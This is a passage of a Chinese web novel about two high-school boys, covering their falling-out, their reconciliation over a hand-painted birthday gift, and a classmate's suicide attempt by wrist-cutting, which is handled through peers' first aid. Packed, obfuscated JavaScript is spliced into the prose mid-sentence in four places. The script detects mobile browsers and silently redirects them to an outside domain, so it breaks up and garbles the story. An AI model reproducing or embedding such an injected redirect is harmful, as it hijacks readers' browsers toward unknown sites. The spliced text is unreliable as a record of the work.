路既棠洗完澡出来时,殷倚松已经不在寝室里了。他看了一眼殷倚松的床,发现殷倚松的床上还放着今晚要交的数学卷子。 殷倚松一向细心,从来没有丢三落四的习惯,所以路既棠拿不准,殷倚松到底是忘记拿了,还是只是单纯地离开一会寝室,不会后就会回来拿。 可直到路既棠收拾完,准备回教室时,殷倚松还是没有回来。 路既棠看向手表,现在离晚自习铃响只有十七分钟了。 于是他伸手,从殷倚松的床上拿下那张数学试卷。 接着,他才发现,殷倚松的那张卷子里,还夹着另一张试卷,他目光扫过名字栏。 路既棠收回了目光,之前还微微扬着的唇角落了下来。 下一刻,他听见了开门的声音,另一张试卷的主人走了进来,安于年看到了路既棠手上的动作,他说:“我回来拿我和殷倚松的试卷。” 说完,安于年向路既棠伸出手,示意路既棠把试卷给他。 路既棠并没有第一时间按他说的做。 “这是我和他的东西。”安于年上前一步,手已经拿住了试卷的另一端。 路既棠笑起来,他松开手,让安于年拿过试卷,“你急什么?” 既然到了这一步,路既棠也不打算粉饰太平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396649|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,他说道:“殷倚松不是被争夺的对象,别把我当成你的假想敌,你实在要这样,我也无所谓,但专注你自己的事情,你的成绩或许能提升得更快。” “你……”安于年被路既棠戳中了痛处,顿时有些恼怒。 此时的路既棠却在安于年要开口时,轻飘飘地止住了对方的话头,“我不想和你吵。” 他看着安于年噎住的神情,又笑了一下,然后走出寝室。 他看出来了安于年对他的敌意,但他只把这种敌意归结为友谊方面的,因为很久之前,他和白鹤生之间就有过这样的例子。他和殷倚松亲近,安于年和殷倚松的关系却没有那么亲近,安于年想要更多,可以理解。 可路既棠就是觉得不舒服,而这种不舒服,在安于年说出“这是我和他的东西”那句话时,达到了顶端。 在考完晚上的数学后,这种不舒服,进一步转变成了烦躁。 路既棠在下课的间隙里,看着窗外的夜景,按压眉心,试图让自己的心情恢复平和。 前桌在给他传语文答案和年级的示范作文,他拿了自己和同桌的那一份之后往后递,接着,他随手翻了一下,并不意外地在示范作文上看到了自己写的那一篇。他一眼扫过去,在另一篇作文上看到了非常熟悉的字迹。 和那张生日贺卡一模一样的字迹,非常漂亮。他凝眉,看向作文标题下的一行名字。 是祝汝。 原来是她。 那张贺卡上写的,字字清淡内敛,很像她。 他们是一个班的同学,但直到今天,他才知道祝汝的字迹是什么样的。 祝汝自从把数学的基础补好之后,成绩就在稳步上升,现在已经能在各种大考小考中,成绩一直保持在文科第二,和路既棠的分数差距也越来越小。 路既棠有危机感,但他更觉得这是一种鞭策。他是真心诚意地欣赏这个女孩子,佩服这个女孩的勇气和毅力。她坐在第二组的第二排,路既棠每次早晚自习进教室,都能看到她埋头学习的身影。 她不爱笑,清清冷冷的,谦卑却不自卑,很好学,喜欢在课余时间看书,纤细瘦弱的身体里似乎蕴藏着无限的力量。 路既棠见过很多次,她向冯晓曼问数学错题,冯晓曼很喜欢她,总是愿意说得很认真很详细,也见过她在走廊外面跟贺姝和杨秋染聊英语。 杨秋染曾经和他说过,“我总觉得我很幸运,出生在一个好家庭,所以我想做的一切,都有我的父母无条件地支持我。可祝汝不是这样的,她能走到现在,真的很不容易。我想要尽我所能地帮助她,至少让我看看,一个农村出来的女孩子,以后可以有多耀眼。” 晚自修下课后,路既棠刚站起来,就被过来的殷倚松攥住了手腕。 路既棠回过头,不解地看向他。 殷倚松的脸很沉,他喊路既棠的名字,说:“我有点事情和你说,我们去黄楼前面的石椅那里吧。” 26. 第 26 章 今夜的月亮是浅银色的,带着一层朦胧的光晕。黄楼是学校建校以来的第一栋建筑,历史悠久,算是某一段历史的遗址。 此时的黄楼倒映在月色下的湖中,湖边的伞盖般的树下,路既棠和殷倚松一坐一立。 路既棠能感觉到,今夜的殷倚松有着浓重的说不清意味的情绪,但恰好,他今晚也并不高兴。 或者说,他很生气。 他从没有过生殷倚松气的情绪。 现在是第一次,他觉得新奇,又觉得不适应。 殷倚松开口了,他问:“你和白鹤生到底是什么关系?” 路既棠觉得莫名其妙,“我们是发小,你们之前见第一面时,我已经说过了。” “真的只是发小吗,”殷倚松走近一步,垂眸看着坐在石椅上的路既棠,黄楼走廊的灯光照到这里,殷倚松的半边侧脸随着他的动作,在灯光下忽明忽暗,“那他为什么这么关注你的事情,连你要和谁交朋友都要干涉,谁家的发小会做到这种程度?” 路既棠本来就积攒了一些怒气,听了这段话,他直接站起来,两个人的距离陡然拉近,近得能听到彼此的呼吸声。 殷倚松的喉结忽然上下滑动了一下,下一瞬,他退开了一步。 “白鹤生是我最好的朋友,”路既棠定定地看着殷倚松,“他关注我的事情是最正常不过的,我也一样,你说他干涉我交朋友,是说你吗,那天他说要拿东西支开我后,到底和你说了什么?” 他话音落地,就见殷倚松沉默了,一分钟之后,殷倚松避开了路既棠的视线。 路既棠的火气到此终于冒了出头,“有什么不能说的,你不愿意告诉我,却要来质问我和白鹤生的关系,殷倚松,你到底要干什么?” 殷倚松的目光落回路既棠身上。 路既棠在殷倚松的眼神中看出了一抹痛苦,一闪而过,快得路既棠以为是自己眼花了。 “路既棠,”殷倚松声音疲惫,“我没想干什么,他是你最好的朋友,我只是想知道,那我在你心里又算什么呢?” “你也是我的朋友。”路既棠回答。 “嗯。”殷倚松应了一声,点了点头,“好。” 他像是转身要走,但又像是实在忍不住了,回过身看向路既棠。 殷倚松的目光很暗很深,他就这样死死地看着路既棠的脸,难得地带着一点掩饰不住的凶狠,却不像看猎物,而像看一样比猎物更难缠、也更让他想要珍重的东西。 既想爱惜,又想撕碎。 路既棠对着这样的目光,居然有些说不出话。 谁都没有说话,浓沉的夜色里,只有躁动的呼吸声和心跳声。 还是殷倚松最先打破沉默,他说:“那我再问一个问题……” 他眼中有巨浪翻涌,在几息之后又恢复平静,他声音轻轻的,目光也渐渐柔和,他看着路既棠,“在你心里,是他重要还是我重要?” 路既棠垂眸,沉默。 “好,我知道了,是我自不量力了。”在路既棠看不到的地方,殷倚松握紧了右手,将右手握得泛白,暴起青筋。 殷倚松突然笑出声,“你和他之间真是感情深厚,怪不得他能肆无忌惮地警告我,原来都是因为你在纵容他,是不是以后他要打着你的名义却做见不得光的事,你也会为了他干脆认下。” 路既棠用了很大的力气才推开殷倚松,他又气又怒,还有一点被冤枉了的委屈,平时上翘的眼尾都垂下去了,他说:“你不肯和我说,他到底对你说了什么,现在却在这里指责我,你不觉得这对我来说很不公平吗?” “你为什么不肯说?” 殷倚松抿紧唇,一言不发。 他怎么能说,他怎么敢说。 “那我不准你这么说白鹤生。”路既棠冷冷地说:“我还没有因为安于年的事情责怪你。” “我不清楚你知不知道,因为你的原因,安于年对我一直都存有敌意,”路既棠说,“我知道,两个人因为另一个人不和,那大概率都是因为另一个人没有协调好。在你和白鹤生之间,我是这样。在我和安于年之间,你也是这样。” “我也不知道,今晚你到底因为什么变成这样,”路既棠平复了一下呼吸,“我觉得我们都要冷静一下,这几天我们就先不要说话了,等我们都想清楚了再说。” 路既棠其实也不知道事情是怎么发展到这一步的。 自那晚的争吵过后,他和殷倚松已经有将近一周的时间没有说过话了。 起初,他还会在殷倚松欲言又止的眼中,猜测殷倚松或许是有隐情的,毕竟在过往和殷倚松的接触中,他能感觉到殷倚松身上有着克制过后的平静,这个人身上实在是太多秘密了。 可他知道这是不正常的。 那天晚上,殷倚松的眼神,显然超出了看正常朋友该有的意味。 所以到底是怎么了? 在和殷倚松吵架的第二天,他再次向白鹤生提起对方和殷倚松的避开他的谈话。 当他问及白鹤生是不是对殷倚松说了什么重话时,白鹤生直直看着他,目光复杂,却是笑着说道:“你怎么会这么想?” 路既棠心里知道,他不该怀疑白鹤生,可他实在是没有办法找到答案。 如果换一个人,路既棠可能会顺水推舟地远离对方,因为他从来都不擅长也不想为了一些无关紧要的人和事费神,他一向都心狠。 可殷倚松是不一样的。 他从没起过要放弃和殷倚松的这段友谊的念头。 从来没有。 他试图理清楚他和殷倚松之间,现如今到底是什么情况,但理来理去,他发现,这是一团乱麻。 他看不清殷倚松的想法。 这让他觉得困惑又难过。 殷倚松开始冷淡了。 起初,他总是会在不经意间,对上殷倚松的目光,那目光像暗黑的深海一样,仿佛要将他溺毙。 后来,殷倚松在寝室开始避免和他有任何接触和眼神交流。 路既棠觉得,说出要双方要冷静的是他,可现在因为殷倚松不理他而抓心挠肝的也是他。 在一天清晨,殷倚松再一次回避他的眼神,垂眸与他擦肩而过时,路既棠的委屈和愤怒再也压抑不住。 他最终放弃了一贯强行装出的大人思考方式,也变得孩子气起来。 他也开始和殷倚松冷淡。 为什么呢,因为潜意识里,他觉得殷倚松是他亲近的人,所以殷倚松会包容他偶尔不合时宜的坏脾气。 可理智告诉他,他不该这样。 然而,这一次,他放任自己的感情压过理智,占据了上风。 他们开始冷战。 他们早操集会解散后,不再一起回教室,中午也不再一起去食堂吃饭。取而代之的,殷倚松和安于年越走越近,以前本应该和路既棠在一起的时间,都分给了安于年。 这天晚上跑操结束后,殷倚松照例和安于年先一步去食堂。 路既棠看着他们俩离去的背影,简直要气死了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396650|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >直到白鹤生走过来拍他的肩头,“又看?”白鹤生顺着路既棠的视线看过去,“有什么好看的,他到底有什么好,你为什么一直惦记他。” 路既棠的脸上难得有些气鼓鼓的神情,白鹤生觉得新奇,他大笑着捏路既棠的脸,“我已经好久没有看到你生气了,再气久一点,让我欣赏一下。” 路既棠没好气地拍开他的手。 他没看到,本来已经走远的殷倚松回头,正看着他们。 路既棠没有看见,但白鹤生看见了,他对殷倚松露出挑衅的神情。 然后,他隔着很远都能看到殷倚松黑下来的脸,对方似乎也气狠了,正深呼吸平复情绪,转身就走。 白鹤生觉得愉悦,恶作剧一向让他愉悦,尤其是作弄令他讨厌的人。 他一心二用,哄着路既棠,“好了,我错了,不逗你了,今晚我请你吃饭。” 那天过后,他和殷倚松的关系更僵了。 一向细心的吴睿凌很快就发现了,甚至连李未序都私下里隐晦地向路既棠询问原因。 可路既棠仍然对此毫无思绪。 这种情况一直持续到放月假的时候。 月假放一天半,傍晚时,路既棠陪路奶奶小区不远处的公园散心。 他们在绕着湖边的鹅卵石小道上走,抬头就能看到晴朗的蓝天,傍晚的云是粉色的,像鸟张开翅膀,根根羽毛狭长分明,落日裹着云朵西沉。 傍晚的风将平静的湖面吹起涟漪,将路既棠他们的衣袍吹起,带来一阵阵凉意。 飞鸟掠过湖面,在空中盘旋。湖边深绿色藤蔓垂下,缠在大理石柱上。各色的花错落有致地开放着,偏过头就能闻到不知名的馥郁花香。 湖边有老人健身,有中年人垂钓,有小孩嬉戏,还有年轻人在举着手机拍照。 路既棠安静地陪着路奶奶走了很长一段路。 走到一处亭子外时,路奶奶问他:“既然觉得对方重要,自己又舍不得,那为什么不挽回呢?” 她目光跟随着仍在空中盘旋的飞鸟,“感情的事情一向复杂,有时候就像这飞鸟一样,我们看似是自由的,却无时无刻不在困在一张看不见的网里,永远都找不到落点。” 她回过头,白发被晚风吹起,她笑看着路既棠,“小棠,处理感情,不管是亲情,还是友情和爱情,这都是你人生的第一课,不要回避它,你越回避,它就会变得越棘手,有时候,你得先想清楚,自己想要什么,一旦想清楚了,就要赶紧采取行动了。” “可是奶奶,”路既棠说道,“是我先把事情搞砸的,如果不是我那样说,伤害到了他,或许我和他就不会像现在这样了。” “你有这样的认识,很好,”路奶奶安抚路既棠,“但是小棠,这件事情不完全是你的错,你不要陷在纠结的情绪里。我看得出来,殷倚松他是个好孩子,你和他之间的问题,只要你愿意主动破冰,我相信,他不会拒绝的。” 路奶奶叹了一口气,“这几年,鹤生经历了家中巨变,性格也跟着变了很多。他小时候那么活泼,现在身上却隐隐披着一层阴翳。” “我还记得,你四岁时,差点被人抱走,只比你大三个月的鹤生一路追过去,拼命拦着那个人,拖到你爸妈来,他摔得胳膊上都是血也没哭一声。”路奶奶比划了一下,“他那时候还那么小。” 路奶奶看着路既棠,柔声说:“我知道他以前总带着你胡闹,可他一直都知道怎么当一个好哥哥,我希望你们可以相互扶持,你不要因为殷倚松的事情,和他离心。” 27. 第 27 章 路既棠把路奶奶的话听进去了。 他做了两件事情,第一件是和白鹤生说清楚自己的想法。 在周日回校的路上,路既棠率先说道:“我认真想过了,殷倚松很好,我还是想和他做朋友。” 白鹤生闻言,原先还上挑的嘴角垮下来,说:“我不准呢?” 他们本是并肩而行,白鹤生停住了脚步。 路既棠走出几步后发现对方没有跟上来,于是折返回来。 他站在白鹤生面前,看着白鹤生,目光专注,问道:“为什么?” 白鹤生扯扯嘴角,露出不屑的神情,“我讨厌他,更讨厌你非要追着他跑。” “我不了解他父母,但我了解他,他不是心术不正的人,他不会害我,”路既棠抓着白鹤生的胳膊,不让对方闪避,“你相信我好不好?哥?” 白鹤生的身体一顿,停住了要往前走的脚步,他难以置信地回头看了路既棠一眼,半晌后,他像是认命了一样,妥协道:“我真服了,行,我不管你和他的事情了,你要做什么我都依你。” 他看着路既棠的神色,忍了又忍,最后还是没忍住,补了一句,“满意了吗?” 路既棠点点头,松开了白鹤生。 白鹤生又叹了一口气,“你真是没救了。” 第二件事情就是准备殷倚松的生日礼物,既然自己选择了主动破冰,就要有诚意。 路既棠开始思考,要给殷倚松准备什么样的生日礼物。 今年夏天他生日时,殷倚松送他的礼物,一看便知极费心血,他至今也没明白那块木牌有什么含义,只知道那是用桃木制成的。 而现在是十二月初,离殷倚松的生日只有二十多天了。 他们已经有快一个月没和对方说过话了。 这天大课间,学校破天荒地任学生们自由活动。 路既棠回寝室拿书,正要走,却看到了落在窗台上的一片叶子。他抬眼一看,只见窗外荔枝树叶在风中轻轻晃动。 这个时候宿管还没有检查寝室卫生,想到要求一向苛刻的宿管,路既棠当即往阳台走去,打算拿走那片从窗外飘进来的叶子。 他捡完叶子,正要关窗,却看到了楼下的殷倚松。 这栋宿舍楼后有一小片空地,栽种了几棵荔枝树,平常少有人至。 荔枝树下,殷倚松在打太极,动作大开大合,像一幅带着飒沓寒意的古画。 他不是第一次见过殷倚松打太极,之前殷倚松打得很慢,行动间刚柔并济。 不像现在,路既棠第一次知道,太极打得快也是伤人的利器,他居然从殷倚松的动作间看到了一种凌厉的杀意。 荔枝树叶在晨风中簌簌响动,路既棠甚至觉得,殷倚松动作间的杀意也在渐渐成型。 像是察觉到了窥探的目光,殷倚松突然停了动作,站定后抬头看了过来。 路既棠就这样猝不及防地和殷倚松对上了目光。 和路既棠见过的样子都截然相反,那是怎样的一双眼睛啊? 眸底清亮,冷若霜雪。 那目光似越过千山万水,直直地钉在路既棠身上。 路既棠的理智轰然坠落,他怔怔地想,在很久很久以前,他一定见过这双眼睛。 就在下一刻,他清晰地听到了自己心跳剧烈响起的声音。 殷倚松先开了口,他说:“路既棠。” 声音不高不低,刚好能让楼上的路既棠听到。 路既棠如梦方醒,他五指并拢成拳,狠狠握住又松开,反复三次之后,他才动身下楼。 他站在殷倚松面前,想起之前跟殷倚松说的气话,没好意思抬头看殷倚松的眼睛,“抱歉,那天晚上,我说的话太重了,是我的错,我们还能继续做朋友吗?” 他说完后,紧张忐忑地等着殷倚松的回答。殷倚松却没说话。 路既棠忍不住了,他抬头看向对方。他再一次对上了殷倚松的目光,和刚才的冰冷不同,殷倚松的眼睛像一口春水漫漫的潭,淌着流动的、温暖的水。 路既棠如鸦羽的长睫一颤,这么久了,他终于又看到殷倚松带笑的神情。 殷倚松“嗯”了一声,说好,又像是怕路既棠没听清,紧接着又说了一句,“没关系,我们还是朋友。” 在那一刹间,路既棠卸下了所有的紧张和忐忑,在暗地里长舒了一口气后,他感受到了前所未有的雀悦。 这一年的年末,殷倚松的生日终于到了。 这天早上,在见到殷倚松的第一眼,路既棠就说道:“殷倚松,生日快乐。” 殷倚松先是脚步一顿,然后他偏过头看向路既棠,唇角勾起,缓缓地露出了一个笑容,说:“谢谢。” 那一瞬间,路既棠觉得,殷倚松今早起得比平时晚,似乎就是在等自己的这句话。 他坐在床上,看着殷倚松离开的背影。 殷倚松背影高挑、如松如柏,这样大步生风地走,有一种说不出的挺拔。 路既棠有些心酸地想,自己果然是对这个人动心了。 这是他长这么大第一次生出了这种感觉。 可偏偏是这种时候,这可怎么办呢? 问白鹤生吗,白鹤生恨不得殷倚松滚出他们俩的世界,肯定不会给自己什么好的建议。 问杨秋染吗,杨秋染对殷倚松的态度那么微妙,这种时候,大概率会和白鹤生同一种想法。 问奶奶吗,路既棠手无意识地抓住膝盖上的衣料,奶奶说过,鼓励他追求喜欢的人,只要他内心有分寸,知道该做什么不该做什么,可……如果他喜欢的这个人是男的呢?奶奶还会允许吗,还会支持他吗? 思及此,路既棠心乱如麻。 为什么偏偏是这个时候,他知道自己喜欢上了殷倚松。 这时,还在寝室里的吴睿凌叫了他一声,“路哥,快铃响了,你咋还在床上,抓紧时间啊。” 路既棠应了一声,今早他是踏着早读铃声响的声音进教室的。 第一节是数学课,路既棠又被数学老师抓上去讲题,他神思不属,差点把题目都看错了,坐在第一排的杨秋染咳了一声,路既棠才回过神来,最后还是顺利讲完了,好悬。 下课之后,杨秋染在和同学打闹间,来到路既棠的座位旁,她压低声音问路既棠,“怎么回事?你以前从来不会犯这种错,是不是昨晚没睡好,还是不舒服生病了?” 路既棠正在整理试卷,闻言他抬头看了杨秋染一眼,在想要不要和对方说这个事情,他想了一瞬,答道:“没有。” 杨秋染狐疑地看着他,但也没有深问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396651|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是说道:“要是有事,叫我一声……叫白鹤生也行,反正他就在对面。”说完她就就转身继续和人聊天去了。 路既棠叹了一口气。 殷倚松不在教室,但在看了殷倚松座位旁的安于年,他写了一张纸条,麻烦附近的人帮忙递给殷倚松,上课前,殷倚松回来了,很快,纸条递回到路既棠手上。 纸条上一上一下两行字。 “你今晚在学校吗?”路既棠问。 “我父母给我请了下午和晚上的假,但今晚我会尽量赶回来的。”殷倚松答。 路既棠看完,收起纸条。 下午殷倚松的位置果然空了。 晚上十点半晚自习下课前,殷倚松果然回来了,殷倚松的面色不变,但路既棠一眼就看出了殷倚松的不对劲,今早殷倚松的目光是有神的,含着希冀,现在殷倚松垂着眼,目光冷漠,隐隐带着一股不明显的凶狠。 短短半天时间,到底发生了什么? 下课后,路既棠向殷倚松走去,对上了路既棠的目光,殷倚松目光中的冷漠凶狠数倏地散了,他站起身来,对路既棠说道:“我们回去吧,好不好?” 路既棠点头,走出教学楼,路既棠叫住殷倚松,“反正今天还早,我们看看今晚的月亮吧。” 于是他们沿着校道一路走,校道旁的树格外高大茂密,路灯将他们的影子照得长长的,在冬天的夜晚里,天上的月亮朦朦胧胧的,显得安宁又静谧。 路既棠拿出一直背在身后的礼物,递给殷倚松,“虽然说过了,但还是想再说一次,”他神色温柔,语气郑重,“殷倚松,生日快乐,很高兴能认识你,我希望你未来能做你喜欢做的事,希望你前程似锦、一片坦途。” 殷倚松下意识接住路既棠递过来的东西,先是惊讶,像是不可思议,紧接着,目光柔软下来,他声音轻轻地,像怕惊醒一个美好的幻梦一样,他念眼前这个人的名字,“……路既棠?” 路既棠“嗯”了一声,算作回应。 殷倚松抬步想往路既棠再靠近一些,不知怎么,又停在了原地,他低头又抬头,像是有些无措。 路既棠说道:“打开礼物看看吧,也不知道你喜不喜欢。” 闻言,殷倚松才终于将目光移向了他手中的礼物,他打开,藏青色的匣子中,放在卷轴一样的东西,他将它拿出来,展开,随着卷轴徐徐展开,一幅丹青渐渐映入他的眼帘。 那是一幅笔触极细腻的丹青,丹青上的人一身白色运动服,手上拿着一个篮球,他似乎意识到有人在看他,于是转过身来,眉目舒展,唇边带着模糊的笑意,他身后是灿烂的晚霞和浮在天边橙红色的夕阳,执笔的人非常用心,抓住了画中人那短短一瞬间的神采,将神采飞扬的少年和炽热明亮的夏天,一齐留在这幅不足两尺长的丹青里。 画中人,正是殷倚松。 殷倚松几乎呆住了,他意识到了什么,问道:“是你画的,对吗?” 路既棠点点头,“是的,今年的夏天已经过去了,你好像更喜欢夏天,所以我把夏天和那时候的你留在画了,希望你能喜欢。” 殷倚松握着那一幅丹青,先是抿唇,然后弯唇一笑,“我很喜欢……很喜欢。” 这一晚,他们俩都一夜好眠。 真是好难得的一晚。 28. 第 28 章 第二天,大课间做完操,殷倚松随着人流往教室走,身边传来一道女声,梁艺珊不知道什么时候来到他身边,她目视前方,声音不高,刚好能让殷倚松听见,“虽然不想打击你,但恕我多嘴,像昨天的事,我能帮你糊弄一次两次,不能帮你糊弄一辈子。” 她脚步没停,语气平和地说道:“我们这样的家庭,还是不要祸害别人了。” 殷倚松看了她一眼,没说话。 梁艺珊叹了一口气,“你要是真想对他好,就收起你的心思,羽翼未丰的时候,你是保护不了你想保护的人的。”她没管殷倚松逐渐阴沉的脸色,径直说道:“更何况,如果他都没有那个心思,你只会成为他的困扰,所以我奉劝你一句,冷静点,别做出什么无可挽回的事情。” 殷倚松沉默了两秒,问:“如果人活着,自己想做的事情都做不了,又有什么意思?” 梁艺珊看了他一眼,有些惊奇,“你早就该知道,只要有你弟弟在,无论你想做什么,你父母都不会让你如愿,高一时文理分科时是这样,当年……算了,如果你能自己做主了,当然能做你想做的事,可你不要忘了,现在一切都由不得你,你要是一意孤行地和长辈们对着干,是不会有好下场的。” 她最后说道:“我以为我们是同病相怜,所以帮你……我言尽于此,你好自为之吧。”说完她就没再管殷倚松,加快速度走了。 这天,路既棠敏锐地发现,殷倚松心情不佳,昨天晚上还好好的,这个人分明很高兴。可能是自己比以前更关注殷倚松了,所以在以前看来,对方不怎么明显的情绪,现在都被自己放大了。果然,单纯的朋友和喜欢的人是不一样的。 然而,路既棠没有时间再去细想了,因为一模来了。 学校很重视这次考试,为此,班主任在上课前专门花了一点时间强调,而且一模之后就是成人礼,成人礼之后会开一次家长会。 一模结束那天晚上,吴睿凌在寝室哀嚎,“人怎么能这么蠢,我的天啊,写完英语作文我才想起来,我语文作文忘记写题目了。”他一边说一边把头往床架上磕。 正在洗脸的肖意抬头看了他一眼,叹了口气,“你怎么不把吃饭也忘了?” 恰逢白鹤生来串门,就听到了后半句,“谁没吃饭?我这里有吃的。”他手上拎着几个食盒,食盒里装着清蒸鲈鱼、冬瓜口蘑汤、山药羹和小米粥,都是好消化的。他把路既棠那份拿出来之后,又把剩下的分给其他人。 吴睿凌一边飘过去拿餐具,一边对白鹤生说道:“又来给路哥送吃的啊,谢谢白哥,谢谢路哥,托白哥和路哥的福,我终于不用晚上饿到啃泡面了。” 白鹤生笑,“跟我客气什么,”他看了一圈,“怎么,路既棠还没回来吗?我跟他说过今晚会给他送饭的。” 他话音刚落,路既棠就回来了。 白鹤生抱怨了一句,“怎么回来这么晚。” “刚把这两天考完的题目整理完。”路既棠接住白鹤生递过来的食盒,问道:“你吃了吗?” “早吃了,”白鹤生低着声音阴阳怪气,“还以为你像前几天那样和那谁私会呢。” “……”路既棠不理他了。 白鹤生只好转去和别人说话,他一开了个头,吴睿凌就开始滔滔不绝了,“我每回都是先写作文,写完作文再回去想题目,”他说着说着又开始以头撞柱,“怎么会这样,以前都记得,怎么这次就忘了。” 李未序安慰他,“没事,家长会之前是成人礼,你爸妈看在成人礼的份上,至少不会抽你的。” 吴睿凌大喊:“闭嘴!你还不如不说呢。” 一瞬间,整个寝室都安静了。 吴睿凌放下筷子,一言不发地去阳台开始洗漱。路既棠一眼看过去,发现吴睿凌拿着牙刷的手居然在发抖。 吴睿凌性格活泼,虽然成绩常年处于班级中下游,但他一直都看得很开,高三之后,有些同学因为心情焦虑去看心理医生,他还经常安慰那些同学。 他这样的性格,大概在哪里都是讨人喜欢的,如果不是在这样的环境里,他或许会活得很快乐。 这样的考试,在潜移默化中,到底改变了多少人呢? 吴睿凌洗漱完之后,走到了李未序身边,勉强笑道:“对不起哥,我刚刚有点太激动了,你别放在心上,等放假了我请你去网吧通宵。”他接着又向路既棠他们道歉。 李未序拍了拍他的肩,“多大点事,以后心情不爽就喊出来,没关系的。” 路既棠和白鹤生对视一眼,白鹤生开口道:“嗐,不想考试那些晦气的事了,睡一觉明天又是新的一天,会好起来的。” 可惜白鹤生的希望没能实现。 第二天午休后,准备午读前,教室内走廊传来了一道女生的尖叫,“啊————————有人割.腕了!” 全场哗然,很多人立刻要探头去看。 班长岑嘉凝第一时间冲过去,“怎么回事?”她扶住六神无主的女生,顺着女生颤抖的手指,定睛一看,下一刻,她猛地回头,“贺姝,快去叫老师!” 贺姝一点头,转身就走。 “好多血……”岑嘉凝把被吓得魂不附体的女生往江梓丹怀里一推,“大家安静!男生不要进来,谁有止血的绷带纱布……纸巾也行!” 杨秋染飞快地从抽屉里一捆干净的纱布,几个女生也纷纷拿出纸巾,薛晓希“蹭”的一声站起来,“我会止血。”于是几个女生都把东西给了她,“怕血的不要过去。” 她飞快往内走廊走去。 内走廊里,一个女生靠墙躺着,闭着眼睛,面色灰白,泛着沉沉死气,已经没有了意识,血顺着她那被割开的手腕流了一地,岑嘉凝怕碰到伤口,没敢挪动她,只能一边轻轻地拍着她的脸一边叫她的名字。 薛晓希跪在那女生面前,观察伤口出血情况,紧接着用纱布按压出血部位,岑嘉凝迟疑道:“可以吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396652|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我父母都是医生,”薛晓希说道,“他们教过我,相信我。”她动作飞快,女生伤口的出血量果然就慢慢减少了。 这时候,值班老师到了。 很快,值班老师背着一个人出来,救护车马上就要到了,那人被一件外套盖住了头,左手垂下来,血把缠着手腕的纱布都染红了。岑嘉凝和薛晓希紧跟着出来,岑嘉凝的外套不见了,她对同学们说道:“大家不要惊慌,贺姝已经通知班主任了,在班主任来之前,我们先安静学习。” 发生了这样的事情,大家都没心情学习了。 下午的课结束后,又是一天的跑操,今天路既棠格外疲惫,跑操结束了,他没有急着离开,而是坐在树荫下的长椅上,看人打篮球。 有人走到他面前,跟着坐在空着的长椅上,是杨秋染。 他们俩一起静静地看了一会傍晚的天空,现在是冬天,天已经擦黑了。 杨秋染先开口了,“我经常觉得,或许人不应该活得那么累,你看,我们的前十几年,基本都是被拘在一个小空间里,做着世俗意义上应该做的事情。” 路既棠回过头看她。 “我妈妈跟我说,如果只是一昧付出却没什么收获,要么是努力的方向错了,要么是规则错了。”杨秋染说。 她摸着手边的一片叶子,“我或许比别人好一点,我有家庭兜底,我不想做的事情可以不做,可我也知道,我不能真的是个废物,于是我还是努力做了,可现在我发现,有些东西,真的太沉重了。” 路既棠沉默了一会,说道:“一直都是这样的,要是适应,要么逃离,要么改变。” “小棠哥哥,”杨秋染突然说,“我也要出国了。” 路既棠一怔,一时之间,他不知道该为前半句还是后半句惊讶,上了初中,杨秋染就再也没有这样叫过他,现在骤然间听到这个称呼,居然有种恍若隔世的感觉。 而后半句…… “高中毕业之后吧,去法国。”杨秋染说,“本来想高考结束再跟你说的,但是今天我突然忍不住了,我也怕到时候太突然,你会怪我。” 夜幕降临,杨秋染的脸在夜色中渐渐模糊,他看着这个和他一起长大的妹妹,一时之间,他有些不知道说什么,过了一会,他才说道:“我怎么会怪你呢,白鹤生知道了吗,你选了什么专业,是你喜欢的吗,那么远,你到那边要怎么习惯呢?” 杨秋染转过脸,一滴泪飞快地落了下来,她藏得很好,脸转回来时,已经没有异色了,“我很快就成年了,别小看我,倒是你,我真担心你被人拐走,白鹤生那个混蛋,我才不告诉他呢,气死他。” “好了,过两天就是成人礼了,”杨秋染站起来,“奶奶也要来是吗?” 路既棠点头。 